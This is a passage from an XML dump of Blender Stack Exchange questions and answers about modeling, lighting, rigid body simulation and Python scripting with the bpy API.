sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once &lt;em&gt;Smooth Shaded&lt;/em&gt; this will be very blocky but running a &lt;em&gt;Tris to Quads&lt;/em&gt; operation with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; and applying an &lt;em&gt;Edge Split&lt;/em&gt; modifier should make it look better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/idKVc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need bevelled edges, the boolean modifier leaves very sharp cuts so you should be able to select the jumbled ones and merge and dissolve vertices as needed until you get a clean edge ring without affecting the curvature of your shape much.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-10-08T22:33:58.490" LastActivityDate="2013-10-08T22:33:58.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3263" PostTypeId="2" ParentId="3120" CreationDate="2013-10-09T08:28:50.637" Score="1" Body="&lt;p&gt;I would add that all though the graphic card has more cores and can therefore manipulate more data at once than a CPU the limiting factor is the graphic cards memory. So the size of the tile should be less than the cards memory but as close to it as possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The computers bus is the limiting factor as the system Ram is generally slower than that of the graphic card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no definitive size but a rule of thumb I use is about four times larger for GPU than CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A final important thing is the tile size should be an equally divisible fraction of the overall rendered image, so all tiles are doing equal work. Having smaller tiles left over take the same time effectively and are wasteful.&lt;/p&gt;&#xA;" OwnerUserId="1251" LastActivityDate="2013-10-09T08:28:50.637" CommentCount="0" CommunityOwnedDate="2013-10-09T08:28:50.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="3264" PostTypeId="1" AcceptedAnswerId="3265" CreationDate="2013-10-09T12:40:55.447" Score="6" ViewCount="1834" Body="&lt;p&gt;I have a spot light in my scene and I want to accurately place it. I know there was a way to do this in 2.55, but that doesn't seem to work anymore. How can I look through my light?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LWZzr.png&quot; alt=&quot;spot lighrs&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastActivityDate="2013-10-09T13:08:43.683" Title="Look through Spot Light" Tags="&lt;3d-view&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3265" PostTypeId="2" ParentId="3264" CreationDate="2013-10-09T12:49:53.243" Score="4" Body="&lt;p&gt;Just select the spot light, then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Num-0&lt;/kbd&gt; (zero) to turn it into an active camera (looking at -Z local axis). To keep looking through it while navigating the scene you will have to enable 'Lock Camera to View' in 'View' under the properties panel. You'll then need to press it again while selecting the camera, to set the active camera back to it.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorDisplayName="user320" LastEditDate="2013-10-09T13:08:43.683" LastActivityDate="2013-10-09T13:08:43.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3266" PostTypeId="1" AcceptedAnswerId="3268" CreationDate="2013-10-09T13:25:40.550" Score="21" ViewCount="38761" Body="&lt;p&gt;I have a mesh that has some vertices between edges that do not need to be there. How can I easily remove these vertices without selecting them manually? I tired using limited dissolve but that get rid of anything that coplanar not just the floating vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QToGv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorUserId="12" LastEditDate="2013-10-09T14:00:19.443" LastActivityDate="2014-09-18T04:48:36.760" Title="What is an efficient way to remove loose vertices?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;vertices&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3267" PostTypeId="2" ParentId="3259" CreationDate="2013-10-09T13:26:00.893" Score="7" Body="&lt;p&gt;You can select an Edge Ring (sort of the opposite of an Edge Loop) with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Right Click&lt;/kbd&gt; and subdivide that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ysQV.png&quot; alt=&quot;Subdivide an edge ring&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also remember there's Subdivide Smooth as well, which is nice for interpolating the curvature of the model (though it cannot do this on a flat 2D surface like this example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately it won't really help in that Icosphere case though.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-10-09T13:26:00.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3268" PostTypeId="2" ParentId="3266" CreationDate="2013-10-09T13:52:35.067" Score="20" Body="&lt;p&gt;In some instances, depending on topology, the following can work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select one of the vertices that you want to remove.&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LDx3W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;Choose &lt;em&gt;Select&lt;/em&gt;&gt; &lt;em&gt;Similar&lt;/em&gt;&gt; &lt;em&gt;Amount of Connecting Edges&lt;/em&gt; from the 3D view header.&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CSfUE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;Deselect any vertices that have been selected but that you don't want to delete (in this case, the corners) and choose &lt;em&gt;Mesh&lt;/em&gt;&gt; &lt;em&gt;Delete&lt;/em&gt;&gt; &lt;em&gt;Dissolve Vertices&lt;/em&gt; to delete the unwanted vertices.&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/h1XKt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="241" LastActivityDate="2013-10-09T13:52:35.067" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3269" PostTypeId="2" ParentId="3259" CreationDate="2013-10-09T14:33:49.167" Score="7" Body="&lt;p&gt;The trick in this case is using edge select mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select one set of the long edges you want subdivided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RbJqk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Select similar length to get all the same length edges you want subdivided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tou6r.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subdivide. Adjust the operator properties to get multiple cuts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9zKjU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By only selecting the long edges when subdividing your cutting the long edges only, so you don't subdivide the short edges that gives you the 'extra' unwanted divisions between existing edges.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-10-09T14:33:49.167" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3270" PostTypeId="2" ParentId="3266" CreationDate="2013-10-09T15:42:02.300" Score="2" Body="&lt;p&gt;The most efficient I guess would be to try and avoid them if you are trying to remove edge loops use delete Edge Loop you will avoid this problem as it deletes Edges and Vertices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note it isn't perfect and may create extraneous edges but select them and repeat the process usual only needed once.&lt;/p&gt;&#xA;" OwnerUserId="1251" LastActivityDate="2013-10-09T15:42:02.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3271" PostTypeId="1" AcceptedAnswerId="3273" CreationDate="2013-10-09T16:26:58.677" Score="7" ViewCount="1673" Body="&lt;p&gt;I have an object that I want to make a square array like a 3x3x3 cube. I want be able to change length and count for one axis and have all the other ones follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RduOS.png&quot; alt=&quot;3d array&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p0fU1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastEditorUserId="12" LastEditDate="2013-11-04T13:57:37.447" LastActivityDate="2013-11-05T04:22:17.050" Title="Create Square Array" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3272" PostTypeId="1" AcceptedAnswerId="3278" CreationDate="2013-10-09T16:32:16.423" Score="5" ViewCount="271" Body="&lt;p&gt;I have an array in my scene and my computer has some trouble showing them in the viewport. Is there any way that I can get the instances to show up as a wireframe mesh or maybe even a point cloudor bounds?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Omrun.png&quot; alt=&quot;Here is what it looks like&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kGCaP.png&quot; alt=&quot;what I want it to look like&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user320" LastActivityDate="2013-10-10T10:39:05.927" Title="Blender show array instances as wireframe" Tags="&lt;modifiers&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3273" PostTypeId="2" ParentId="3271" CreationDate="2013-10-09T17:11:42.280" Score="9" Body="&lt;p&gt;You can do this with &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Graph/Drivers&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Drivers&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Right click on the &lt;em&gt;Count&lt;/em&gt; of the second modifier and select &lt;em&gt;Add Driver&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LLeY4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the header of the &lt;em&gt;Graph editor&lt;/em&gt;, change the editor type to &lt;em&gt;Drivers&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p6axb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;em&gt;Properties region&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt;) set the variable to &lt;em&gt;Single property&lt;/em&gt;, and the object to the object with the array modifier which values you want to copy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iiNHc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Right click on the &lt;em&gt;Count&lt;/em&gt; of the array modifier you want to make the driver equal to and select &lt;em&gt;Copy Data path&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Co2B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the graph editor, Paste the copied &lt;em&gt;data path&lt;/em&gt; in the &lt;em&gt;Path&lt;/em&gt; box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IYozK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the type to &lt;em&gt;Scripted expression&lt;/em&gt;, and put the variable you have created in the &lt;em&gt;Expression&lt;/em&gt; box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r8lsf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned by &lt;a href=&quot;https://blender.stackexchange.com/questions/3271/create-square-array/3273?noredirect=1#comment6267_3273&quot;&gt;Wchargin&lt;/a&gt;, as an alternative to &lt;em&gt;scripted expression&lt;/em&gt; you could use &lt;em&gt;Sum Values&lt;/em&gt; or something similar. These will be considered &quot;trusted&quot; by the python security features.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Security&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Blender has some &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Security&quot; rel=&quot;nofollow noreferrer&quot;&gt;python security&lt;/a&gt; features that will prevent the execution of &lt;em&gt;scripted expression&lt;/em&gt; drivers. You can configure the settings for this in &lt;em&gt;User Preferences &gt; File&lt;/em&gt;. (see &lt;a href=&quot;https://blender.stackexchange.com/questions/1903/after-updating-to-blender-2-68-driver-scripts-are-no-longer-automatically-excecu&quot;&gt;After updating to Blender 2.68 Driver Scripts are no longer automatically excecuted&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2013-11-05T04:22:17.050" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3275" PostTypeId="1" AcceptedAnswerId="3277" CreationDate="2013-10-09T20:17:41.673" Score="6" ViewCount="1145" Body="&lt;p&gt;I'm trying to write a script that constructs a transformation from a bone to an object (for &quot;attaching&quot; objects to animated armatures in a game engine). I can easily find the currently selected bone to construct the transformation from, using &lt;code&gt;bpy.context.selected_pose_bones&lt;/code&gt;, but I cannot find any way to find the armature that owns the bone (which I need in order to calculate relative locations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to do this?&lt;/p&gt;&#xA;" OwnerUserId="1420" LastActivityDate="2013-10-10T06:00:57.233" Title="Finding the armature owning a bone" Tags="&lt;python&gt;&lt;armature&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3277" PostTypeId="2" ParentId="3275" CreationDate="2013-10-09T20:42:25.390" Score="6" Body="&lt;p&gt;You can use the &lt;code&gt;id_data&lt;/code&gt; property for one of the selected bones (you only need one because it's not currently possible to select multiple bones from different armatures at the same time). It should be as simple as the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;context.selected_pose_bones[0].id_data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want just the armature's name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;context.selected_pose_bones[0].id_data.name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-10-09T20:42:25.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3278" PostTypeId="2" ParentId="3272" CreationDate="2013-10-09T20:48:33.860" Score="3" Body="&lt;p&gt;There are some options. Create a linked duplicate with &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;D&lt;/kbd&gt;. Give it a copy location and copy rotation constraint with your actual object as target or just parent it. Disable rendering and selectability for your fake object in the outliner.Set the object &lt;em&gt;Type&lt;/em&gt; of the array object to &lt;em&gt;Wireframe&lt;/em&gt; or &lt;em&gt;Boundbox&lt;/em&gt; in the &lt;em&gt;Display&lt;/em&gt; panel of the &lt;em&gt;Object Properties&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have a fake object that won't bother you much and the whole array set to wireframe. Not ideal if you want to edit the object but going into &lt;em&gt;Local Mode&lt;/em&gt; with &lt;kbd&gt;Numpad&lt;/kbd&gt;&lt;kbd&gt;/&lt;/kbd&gt; temporarily gets rid of that, too. Or you don't make it unselectable and hide it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can put a Decimate or Remesh modifier on top of it all that doesn't get rendered. That way your Polycount gets reduced as well. &lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-10-10T10:39:05.927" LastActivityDate="2013-10-10T10:39:05.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3279" PostTypeId="2" ParentId="3272" CreationDate="2013-10-09T21:12:22.160" Score="2" Body="&lt;p&gt;Another way might be:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Apply the array modifier(s).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In edit mode, &lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&gt; Separate by loose parts&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With all the objects selected, press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;&gt; Origin to geometry&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;&lt;em&gt;&gt; Make Links &gt; Object Data&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Deselect one of the objects, set the &lt;em&gt;Display type&lt;/em&gt; in &lt;em&gt;Properties &gt; Object Data&lt;/em&gt; to &lt;em&gt;Wire&lt;/em&gt;, right click and select &lt;em&gt;Copy to selected&lt;/em&gt;:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vQZuR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can still edit the original and have your edits copied.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-10-09T21:12:22.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3280" PostTypeId="1" AcceptedAnswerId="3282" CreationDate="2013-10-09T21:23:04.570" Score="6" ViewCount="3566" Body="&lt;p&gt;I was attempting to simulate a bowling ball impacting a set of pins, however the pins just slide away instead of going flying like they should:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qie5b.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the origins are in the correct place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/24509&quot; rel=&quot;noreferrer&quot;&gt;Blendfile&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="1077" LastEditDate="2013-10-10T10:01:45.407" LastActivityDate="2013-10-10T10:01:45.407" Title="Why do the objects in this rigid body simulation rotate too slowly?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3281" PostTypeId="1" AcceptedAnswerId="3283" CreationDate="2013-10-09T21:52:08.450" Score="5" ViewCount="3650" Body="&lt;p&gt;I am writing an exporter for a custom format, and I would like it to export each action as a separate animation. Based on what I've learned so far, I think the exporter would have to look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export_rest_pose(armature_object.data.bones)&#xA;for action in bpy.data.actions:&#xA;    # TODO: set 'action' as the current action, somehow&#xA;    frame_begin, frame_end = [int(x) for x in action.frame_range]&#xA;    for frame in range(frame_begin, frame_end):&#xA;        bpy.context.scene.frame_set(frame)&#xA;        export_pose(armature_object.pose.bones)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First, does this look about right, or is there a better way of doing it? In particular, is there a way to get the pose of an armature at a specific frame without changing the whole scene to that frame?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, assuming that is the correct way to do it, &lt;strong&gt;how do I set the current action&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1418" LastActivityDate="2013-10-10T01:56:40.363" Title="How do I export animation data stored in actions using the Python API?" Tags="&lt;animation&gt;&lt;python&gt;&lt;export&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3282" PostTypeId="2" ParentId="3280" CreationDate="2013-10-09T22:46:01.453" Score="5" Body="&lt;p&gt;Your pins are scaled to 0.144. Seems like the simulation doesn't like that. Apply the scale with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and you should be fine.&lt;/p&gt;&#xA;" OwnerUserId="1077" LastActivityDate="2013-10-09T22:46:01.453" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3283" PostTypeId="2" ParentId="3281" CreationDate="2013-10-10T01:56:40.363" Score="6" Body="&lt;p&gt;You can set an object's action like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object.animation_data.action = action&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But note that you should check first, that animation_data &lt;code&gt;is not None&lt;/code&gt; (which is the case for objects with zero keyframes set).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;frame_set()&lt;/code&gt; is not a bad choice. You could also evaluate the F-Curves one by one and avoid the frame changes, but it's easier to set the frame and get the transformations ready to use (e.g. as 4x4 Matrix). It's also ensured that all modifiers, drivers and such are applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick F-Curve example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.object.animation_data.action.fcurves[0].evaluate(5)&#xA;#~ -3.2612&#xA;&#xA;bpy.context.object.animation_data.action.fcurves[0].keyframe_points[0].co&#xA;#~ Vector((1.0, -3.2612))&#xA;&#xA;bpy.context.object.animation_data.action.fcurves[0].keyframe_points[0].interpolation&#xA;#~ 'BEZIER'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2013-10-10T01:56:40.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3284" PostTypeId="2" ParentId="3275" CreationDate="2013-10-10T02:00:31.840" Score="2" Body="&lt;p&gt;There's also a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_0/bpy.types.Object.html?highlight=find%20armature#bpy.types.Object.find_armature&quot; rel=&quot;nofollow&quot;&gt;specialized function&lt;/a&gt; if you have a mesh object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.context.object.find_armature()&#xA;bpy.data.objects['Armature']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="599" LastEditDate="2013-10-10T06:00:57.233" LastActivityDate="2013-10-10T06:00:57.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3285" PostTypeId="2" ParentId="3219" CreationDate="2013-10-10T08:52:11.193" Score="1" Body="&lt;p&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found this two solution in the &lt;a href=&quot;http://www.blenderartists.org/forum/showthread.php?286682-Setting-progress-bar-values&quot; rel=&quot;nofollow&quot;&gt;blenderartist forum&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Print a text in the 3D view with the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_69_1/blf.html#module-blf&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;blf&lt;/code&gt;&lt;/a&gt; library &lt;/li&gt;&#xA;&lt;li&gt;Set progress information in the header area of a window via a modal timer&lt;/li&gt;&#xA;&lt;li&gt;In 2.69 an &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.69/Addons#Python_API&quot; rel=&quot;nofollow&quot;&gt;update in the api&lt;/a&gt; lets the user change the cursor appearance so we could change the cursor to the &quot;loading&quot; cursor.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What doesn't work:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The solution of printing a progress bar in the console only work with windows.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This part of answer may contain errors&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="20436" LastEditDate="2015-12-29T15:17:14.280" LastActivityDate="2015-12-29T15:17:14.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3287" PostTypeId="1" AcceptedAnswerId="3288" CreationDate="2013-10-10T09:50:32.860" Score="4" ViewCount="357" Body="&lt;p&gt;I would like to query the panels in the Tool Shelf, regardless of the context. Also I would like to query the tools that are in a certain panel. The idea is that my script can check if a certain panel is already there (preferably by matching the &lt;code&gt;bl_label&lt;/code&gt;) and add certain functions to the panel if they don't already exist.&lt;/p&gt;&#xA;" OwnerUserId="668" LastEditorUserId="668" LastEditDate="2013-10-10T20:04:28.650" LastActivityDate="2013-10-11T14:18:03.630" Title="How can I query the panels in the Tool Shelf from a script?" Tags="&lt;scripting&gt;&lt;python&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3288" PostTypeId="2" ParentId="3287" CreationDate="2013-10-10T11:17:59.927" Score="2" Body="&lt;p&gt;Panels are registered by type and are not accessible as instances in the Blender data. Instead you should check the bpy.types list for an existing panel type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; hasattr(bpy.types, &quot;OBJECT_PT_relations&quot;)&#xA;True&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; hasattr(bpy.types, &quot;OBJECT_PT_funky_feature&quot;)&#xA;False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also iterate over &lt;code&gt;bpy.types&lt;/code&gt; with &lt;code&gt;dir()&lt;/code&gt;, so you can for example find a panel by it's &lt;code&gt;bl_label&lt;/code&gt;. This works fine if you use some utility functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def panel_types():&#xA;basetype = bpy.types.Panel&#xA;for typename in dir(bpy.types):&#xA;    btype = getattr(bpy.types, typename)&#xA;    if issubclass(btype, basetype):&#xA;        yield btype&#xA;&#xA;def panels_by_label(label):&#xA;    for ptype in panel_types():&#xA;        if getattr(ptype.bl_rna, &quot;bl_label&quot;, None) == label:&#xA;            yield ptype&#xA;&#xA;print([p.bl_rna.identifier for p in panels_by_label(&quot;Relations&quot;)])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to extend a panel with own buttons you can append a draw function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw_my_buttons(self, context):&#xA;    # Suppose we have defined this operator&#xA;    self.layout.operator(&quot;funky_feature.my_own_operator&quot;)&#xA;&#xA;# Example: extend the &quot;Relations&quot; object panel&#xA;bpy.types.OBJECT_PT_relations.append(draw_my_buttons)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you intend to make this into an addon you should clean up the original Blender type on unregistering:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.OBJECT_PT_relations.remove(draw_my_buttons)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="436" LastEditorUserId="668" LastEditDate="2013-10-11T14:18:03.630" LastActivityDate="2013-10-11T14:18:03.630" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
